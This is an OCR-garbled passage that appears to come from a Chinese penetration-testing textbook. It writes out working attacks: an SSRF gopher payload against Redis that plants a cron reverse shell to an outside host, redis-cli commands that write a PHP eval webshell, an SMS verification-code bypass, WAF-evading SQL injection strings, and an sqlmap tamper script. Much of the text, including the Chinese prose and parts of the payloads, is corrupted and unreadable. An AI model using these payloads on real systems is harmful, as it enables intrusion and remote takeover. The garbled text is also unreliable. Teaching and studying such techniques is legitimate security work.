$16%@d%0a/var/spool/cron/%0d%0a*4%ad%0a$6%ed%0aconfigkodxeas3%edxeaset%0d%0a$10%0
d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave’0d%oa

BRIRERI T,




BEEWEMHN REHEo e -}4

-

gopher%3A%2f%2f192.168.0.4%3A6379%2f_%2a3%250d%250a%243%250d%250aset%250d%250a%24
1%250d%250a1%250d%250a%2459%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20
bash%20-i%20%3E%26%20%2fdevX2ftcp%2£192.168.0.11%2f2333%200%3EX261%250a%250a%250a
%250d%250a%2a4%250d%250a%246%250d%250aconfigk250d%250a%243%250d%250aset%250d%250a
%243%250d%250adir¥250d%250a%2416%250d%250a%2fvar%2fspool%2fcronk2f%250d%250a%2a4%
250d%250a%246%250d%250aconfigk250d%250a%243%250d%250aset¥250d%250a%2410%250d%250a
dbfilename%250d%250a%244%250d%250aro00t%250d%250a%2a1%250d%250a%244%250d%250asave%
250d%250a

AIERcuriEk, WFATR, WME7-29F7x.

curl -v
‘http://192.168.0.11/ssrf.php?url=gopher%3A%2f%2192.168.0.4%3A6379%2f_%2a3%25ed%
250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2459%250d%250a%250a%250a
%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20- i%20%3E%26%20%2fdevX2ftcp%2f192.168.0.1
1%2f2333%200%3E%261%250a%250a%250a%250d%250a%2a4%250d%250a%246%250d%250aconfigk25
0d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fva
r¥%2fspool%2fcron¥%2f%250d%250a%2a4%250d%250a%246%250d%250aconfigk250d%250a%243%250
d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250
a%2al1%250d%250a%244%250d%250asave%250d%250a"
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E]7-29 FlFERedisimiA
o IH0iEKG, FihsEshell, W1E7-30F.

E7-30 R58shell

Redist 5 — M ERINRE: [REANEMUEHIERTEER, BaTLR AR
hnliERBMNIEERSWebShell, @Sl M.

redis-cli-h 127.0.0.1-p 8889 config set dir /var/www/html/

redis-cli-h 127.0.0.1-p 8889 config set dbfilename webshell.php

redis-cli-h 127.0.0.1-p 8889 set webshell'111<?php @eval ($ POST

[a] ) ;7>
redis-cli-h 127.0.0.1-p 8889 save
A EENBNRZE, BRRNEKRO T

curl -v
"http://192.168.0.11/ssrf.php?url=gopherk3a%2f%2f192.168.0.4%3A6379%2f_%2ad4X250d%
258a%246%250d%250aconfigh250dX250a%243%258d%250a5etX250d%250a%243%250d%250ad1irX25
edx250a%k2414%250d%250a%2 fvark2 fuwwk2fhtmlX2f%250d%250a%2a4%250d%250a%246%250d%250
aconfigk250d%250a%243%250d%250asetk250d%250a%2410%250d%250adbfilenameXk250d%250a%2
412%2508d%250awebshell . php%250d%250a%2a3%250d%250a%243%250d%250asetk250d%250a%248%
258d%250awebshell%2568d%250a%2429%2508d%250a111%253CX253Fphpk2520@eval¥2528%2524_PO
STX255Ba%255D%2529%253B%2520%253FX253EX250d%250a%2a1%250d%250a%244%250d%250asavek
_258d%2533%2583'

IDIANZEHES, SaTE/var/www/html/BR T eliEwebshell.php, #1E
7-31F7.
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0d%x250a%

50d%250a%243%250d%250ase 250d%250a%2410%250d%
S50d%250awebshell.phpX250d%250a%2a3%250d%250a%243%2
webshell¥ d%2 y. d%250a111%253C%253F

©.11) port 80
.168.0.4%3A6379%2f Y. €

250a%243 250: 250a%2
%250a%2a4%250d%250a%2 56¢ onfig%250

0%250d%25

E7-31 plhSWebShell
7.2.3 ZWEEE

EEEN I WUBHTBENEE, AZIMULEER T CONILR, 1RMHZR
IEREEREHIES, ZCONMSHEEENIP, SEFEAhENZMNG, ME7-32f7

7INo

E7-32 Mis{FEHETCDN
HIHRBMG A LSET CONSHRESCIIMULIP, ARG EHp it
MThEE (EIMWFRSRERIENE) . FRUERTER—ER, AaBEEaEREKEIN
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BMARYESE, WFE]7-33Ff 7.

160 | ETabtFEY | [Sdtimemird | SMEWELR? | SAFEEHT | BERICEE | BnFIEE | fealEREE

E7-33 EiMeESC
MHEBEHES ] AR A ARIPHELE, YNE7-34R7.

Received: from ~ - ’ funknown [12 4])|
by Newllx) with SNTP 1d

for «

X-QQ-FEAT: y3716Tt ;

X-QQ-NAILINFO: NL3¥E™ K
E1AkSgE Leji
15w -

X-QQ-mid: mx¢

X-QQ-0RGSender

E7-34 EERHATIP
—RiER T, HFERYIPAIUSRYIPE TR —CRR, FRLAsJLABITIdECERIPR
SHEMULAVESLIP, e inin ML PR IS CONIZ2RE. HilkSE, £
2RI EEE, (BEREE EERRNE, ik EfEWebShell, d1E7-35F 7.

L EXHSEATT

N
E7-35 Foi% EfEWebShell

EEEREEANmapiIEMIETTRENRD, ARSI 780801, B
FHEEFNERR, JUEERERIMNGEER IS, AE7-36F7r.



—-o%ﬂﬁﬁ%ﬁ;ﬁﬁﬁ%" TEBW oo = }-—

Index of /Uploads

= Parent Directory
 Edition/
* advert/
* file/
s image/
E7-36 BERESRE
BT AR ER TN, EEAM T — MR 80802 4RSS
88, 7E80ix[] LEMNELIE, HXLE HEF|78080ix1 L, HEENEREEE—
B9, wE7-37#1E17-38F 7.
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saved from urle(

Elements

html
* <head head
¥ <body
P cheader . header
P cdiv class-"inner met_flash™>.</div
¥odiv class index inner
¥odiv class-"aboutus style-1
P ch3 class-"title >.</h3
¥ odi lass~"ac style-"height: 191px;
¥ cdiv
img src-"http:; Uploads/image /2817 -83-28/5ab87298F1384.png~ style,

E17-38 80m ORI
T, £EAI8080iR[IFEIS PUTIRR, oIl EE FfEWebShell,
FrA7E8080i% F_ FE—PHP WebShel 34, #AiGHt ol LLEIT80i%1iia] 7
~oon  (8080IR[IAEETPHPEIERS, FrLANBEEIZIEII8080uA[1iA(R) .
7.2.4 EETE

I FBIFAFEENAZEN, FESHEGLIN, ANBNE—MERND
I: WidsessionBEHEmREEMASTE. [EREEX N EESEMTIEEEREZRER
EHRAFHES, REVEERIHS, KERRESHIRESEESEEINER, NREAN
REWRIERSIEH, ZREsiESER Y, WE7-39F .

BHEIUEEH SEH e = }_
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IREIES
&
10 RS
a,

EfNT [(UHTR)

E7-39 EEERNRE
BEMAZBINITED F7k.

e BCHIKSE18000000002, EEERIMSE18000000001.
o fENYEEE FF TR \TABTUE, #EEEFRENFME.

o 1T \TABTRE 4\ 18000000001, AKfSEdE "FAEEAITER"

TiEr, BERERERIESEMERE L) %, WE7-408 7R,

(XEAh



—¢§ BHSUEEFN TED oo = 3

Www. glanani. com

B

& 18000000001
4

Q
99947

M A

eaKs [(VEE5])

E7-40 ZREGRIERS (1)

o T2/ \TABTRELL, %A\ 18000000002, ST “FREVIIE"

AT ER, BEERERERIESENMEREL) &, NE7-4157mx.

(=2
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AR T

& 18000000002

™

EBWS [ZAES])

BE7-41 ZFEEHIES (2)
o EIEIE—\\TABRE, MNEE_NTABRETHRENLIFIE89205, &5
g A 1B, REHE18000000001NEZBHMEESKIN Y, WE7-42F7~.
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HERES

& 18000000001
& 89205 SRR

G, sennen

il iy

T TA

E7-42 EE 7 BinHEFIER

B ERiRF IR SRR ESIERNGL: ARTPOSTEIENR{SIISH
sessionPZIEAEEWIHEEE—H, NE—H, UESHFZER. ESFRNME
W .

o F—\TABIEIABUS(SHIERER, fRSE8iRAsessionPEN
code=99947,

e £ N TABREZREESWIEASHT, IRESESiHAIsessionFEAN
code=89205.

e HT A TABREERNERE— & imiYEEE, FAE " codeBLEE
F—"codefH.

o LRSS EEinHMRRt, POSTEEcode=89205, Msession®
code=89205, FrUEL Y, WEIRIESE A TABRE (AIAXBIECFIE)

SERARE IS —  TABRMEEE 7 Bk HZEE.
7.2.5 SQUEAN

S—P s TEENRA, 2iAElid=1", id=1 and 1=1, id=1 and 1=2
B, RIEEFNIRESE, L HMMZREAESQLUEANTRR, WE7-43 ~E7-45F
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7No
« C O 19216825110y

Warning: mysqli_fetch_array() expects parameter 1 10 be mysqgli_result. boolean given in C:\phpStudy\WWW\sqli.php on line 9
E7-43 iElid=1"
&« C | ® 192.168.251.10/sqli.php?id=1%20and%201=1

test: 1111
B7-44 i708lid=1 and 1=1

< C | ® 192.168.251.10/sqli.php?id=1%20and%201=2
E7-45 i5ialid=1 and 1=2

fEfEAorder byfluniomEAEIENR, EEXAMMIFERGIPSRY, B
BT VA0, WE7-4681E7-47F 7.

© 192.168.251.10/5ql phpd =1

CHREXHARAAFLZNSN, SERLRNRQNN
El7-46 {£order byiEa
© 192.168.251,10/s phy ; el

CHASHNRANFAZNSN, CEPBERIRMER!
E7-47 {FFunioniZ4a)



[l

EREHEENE Fedtcoe =

:
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AT SREZHFRENSEE %, FEAMZGEN TFRE, BERESER
RN
e ifiinlid=1 union, EFRE, (B2EGRWI=E, WE7-48F7x.

« C O 1926825110

Warning mysqgli fetch array() expects parameter 1 to be mysgli_result, boolean given in C:\phpStudy\WWW\sqli.php on line 9
El7-48 iai=lid=1 union

alElid=1 union select, EOHTFEE, WET7-49F7=.

@ 192.168.251.10

CHRNENARSAFLENSN, CHRNERRQEER!
El7-49 1AiElid=1 union select
RIFEFAZRE T XAETEEN, MEETXEFIAESHTHIN.
¢ 1[0lid=1 union/**/select, A=A, WE7-50f 7~

@ 192.168.251.10,

SHRESTNNRINFAENON, SERNERRQMEN
E7-50 if3iElid=1 union/**/select
JAialid=1 union%26select, %26E2&MurlHISEL,, FRKENTREZ
BRI EEE SIS union&selectiFs3 1 unionflselect, MIREIEERILIEH,
FPERAEERAXT 1T union&selectiftfT 71k, NMiSEFIRTHIE, ME7-51F 7.

« C | ©® 192.168.251.10/sqli php?id=1%20union¥%26select
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E7-51 iGElid=1 union%26select
iAlEid=1 union/*%26*/select, 12FREE, WRCESHT 7EHFPARIRG
W, E7-52F7x.

L H 192.168.30.154.

Warning mysqli fetch _array() expects parameter 1 to be mysqli_result, boolean given in C:\phpStudy\WWW\sqli.php on line 9

E7-52 ihislid=1 union/*%26*/select
Jhalid=1 union/*%26*/select/*%26*/1, user () , 3, 4, TMEIREI T
user () SR, RBEESINSEY FiHR, WE7-53f 7.

<« C | @ 192.168.30.154/sqli.php?id=-1%20union/*%26*/select/*%626*/1,user

root@localhost : 4
E7-53 FIhEAunioniEa
e ifAlid=-1 union/*%26*/select/*%26*/1, table name, 3, 4/*%26%/
from/*%26*/information_schema.tables/*%26*/where/*%26*/
table schema="test’, ZIREIFIEEES, EEEOWIEE, WE7-54F 7.

19216825110,

(T ————
E7-54 =&
G/ * % 26% [P/ * % 26%23%/, %23 EHHRREE TG #urRiSE, &
ERThERT AR, “E7-55F7s.

2 16825110,

users - 4

E7-55 REIhEEidiAiF
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o AAFERGIPYAE:, FRUEBUABR T, EHESQLMapAESREEERE, WE
7-56Ff73.

E17-56 EASQLMAPSEA
o JHE—Z Stest.pyfitamperfil A (7 FSQLMapBR FtamperER
T) . EAHEBREIEEN/*%26%23*/, i3 Fs.

#!/usr/bin/env python



Eﬁﬁ%%ﬁﬁ%"ﬁ%»mvosg

2
S

WWW. glanani. com

Copyright (c) 2006-2018 sqlmap developers (http://sgqlmap.org/)
See the file 'LICENSE' for copying permission

from 1lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST

def dependencies():
pass

def tamper(payload, **kwargs):
Replaces UNION ALL SELECT with UNION SELECT

»>> tamper('-1 UNION ALL SELECT')
'-1 UNION SELECT'

return payload.replace(" ", "/*%26%23*/") if payload else payload
RI=EASQLMapi#TiEN, B FA~.
python sqlmap.py-u "http://192.168.251.10/sqgli.php?id=1"—
tamper=test

M ZtamperBla] SIDARENEHE, QIE7-57F7-.



%mmﬁwmwmw"m%»mvos}

E7-57 #FFEtamperiZEEUR
BHEBSRES | FHEhttps: //www.leavesongs.com/PENETRATION/after-
phpcms-upload-vul.html,
« AHIERSARES IFBEhttps: //joychou.org/web/phpssrhtml.
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